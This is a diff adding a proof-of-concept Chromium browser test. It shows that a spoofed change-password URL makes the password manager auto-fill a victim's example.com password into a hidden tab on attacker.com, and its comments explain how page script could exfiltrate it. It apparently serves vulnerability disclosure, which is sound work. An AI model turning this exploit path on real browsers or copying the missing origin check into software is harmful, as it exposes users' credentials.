diff --git a/chrome/browser/password_manager/password_change_browsertest.cc b/chrome/browser/password_manager/password_change_browsertest.cc index a6abacac2d558..35ef6a7c68615 100644 --- a/chrome/browser/password_manager/password_change_browsertest.cc +++ b/chrome/browser/password_manager/password_change_browsertest.cc @@ -453,6 +453,95 @@ IN_PROC_BROWSER_TEST_F(PasswordChangeBrowserTest, WaitForElementValue("password", "pa$$word"); } +// =========================================================================== +// SECURITY POC: Network-process-spoofed change_password_url drives cross-origin +// auto-fill in hidden tab (no origin re-check, no scheme allowlist). +// +// In production, the value returned by AffiliationService::GetChangePasswordURL +// is parsed from a LookupAffiliationByHashPrefixResponse fetched via +// SimpleURLLoader through the network process +// (lookup_affiliation_response_parser.cc:31-34, hash_affiliation_fetcher.cc). +// A compromised network process therefore controls this URL. The mock used by +// this fixture stands in for that compromised network process. +// +// This test asserts the *insecure* behaviour: the victim's cleartext password +// for example.com is auto-filled into a form served from attacker.com, in a +// hidden executor tab, without any origin/affiliation re-check, and without +// CrossOriginNavigationObserver firing (it anchors on the spoofed URL itself). +// =========================================================================== +IN_PROC_BROWSER_TEST_F(PasswordChangeBrowserTest, + POC_CrossOriginPasswordFillViaSpoofedAffiliationUrl) { + constexpr char kAttackerHost[] = "attacker.com"; + constexpr char16_t kVictimSecret[] = u"VictimSecret!123"; + + SetPrivacyNoticeAcceptedPref(); + + // The originator tab is on example.com (see SetUpOnMainThread()). + const GURL victim_url = WebContents()->GetLastCommittedURL(); + ASSERT_EQ(victim_url.host(), kMainHost); + + // Simulate a compromised network process: AffiliationService (whose data in + // production comes from an unauthenticated network-process fetch) returns a + // change-password URL on a completely unrelated origin. Neither + // ChromePasswordChangeService::OfferPasswordChangeUi nor + // PasswordChangeDelegateImpl validate this against the credential's + // signon_realm. + const GURL attacker_url = embedded_test_server()->GetURL( + kAttackerHost, "/password/update_form_empty_fields_no_submit.html"); + EXPECT_CALL(*affiliation_service(), GetChangePasswordURL(victim_url)) + .WillOnce(Return(attacker_url)); + + // User submitted these credentials on example.com — they belong to + // example.com only. + password_change_service()->OfferPasswordChangeUi( + CreatePasswordForm(victim_url, u"victim", kVictimSecret), WebContents()); + PasswordChangeDelegate* delegate = + password_change_service()->GetPasswordChangeDelegate(WebContents()); + ASSERT_TRUE(delegate); + + // Simulate the user clicking the in-product "Change password" prompt (which + // does NOT display the destination origin — see password_change_ui_controller + // / IDS_PASSWORD_MANAGER_UI_CHANGE_PASSWORD_DESCRIPTION). + delegate->StartPasswordChangeFlow(); + // OptimizationGuide model responses are also network-process-spoofable + // (login_state_checker.cc uses SimpleURLLoader); the mock stands in for that. + MockLoginOutcome(LoginCheckResult::kLoggedIn); + + // The hidden executor tab has now been opened on attacker.com via a + // BROWSER-INITIATED navigation (is_renderer_initiated=false). + auto* delegate_impl = static_cast(delegate); + content::WebContents* executor = delegate_impl->executor(); + ASSERT_TRUE(executor); + SetWebContents(executor); + PasswordsNavigationObserver observer(executor); + EXPECT_TRUE(observer.Wait()); + + // BUG #1: The hidden executor is hosting an attacker-chosen origin that is + // unrelated to the credential's signon_realm. + EXPECT_EQ(executor->GetLastCommittedURL().host(), kAttackerHost); + EXPECT_EQ(url::Origin::Create(executor->GetLastCommittedURL()), + url::Origin::Create(attacker_url)); + + // BUG #2: CrossOriginNavigationObserver seeded affiliated_domains_ from the + // executor's own URL (attacker.com), so it never fires — state did NOT go to + // kPasswordChangeFailed. + EXPECT_NE(delegate->GetCurrentState(), + PasswordChangeDelegate::State::kPasswordChangeFailed); + + // BUG #3: ChangePasswordFormFillingSubmissionHelper sends the victim's + // example.com password verbatim to the attacker.com renderer via + // ContentPasswordManagerDriver::FillChangePasswordForm, with no comparison + // against password_form_info_.signon_realm. The attacker page's JS can now + // read input.value and exfiltrate it. + WaitForElementValue("password", base::UTF16ToUTF8(kVictimSecret)); + + LOG(ERROR) << "[POC] Victim password for " << victim_url.host() + << " was auto-filled into a form on " + << executor->GetLastCommittedURL().host(); + + delegate->Stop(); +} + IN_PROC_BROWSER_TEST_F(PasswordChangeBrowserTest, GeneratedPasswordIsPreSaved) { SetPrivacyNoticeAcceptedPref(); SetChangePasswordUrl("/password/update_form_empty_fields_no_submit.html");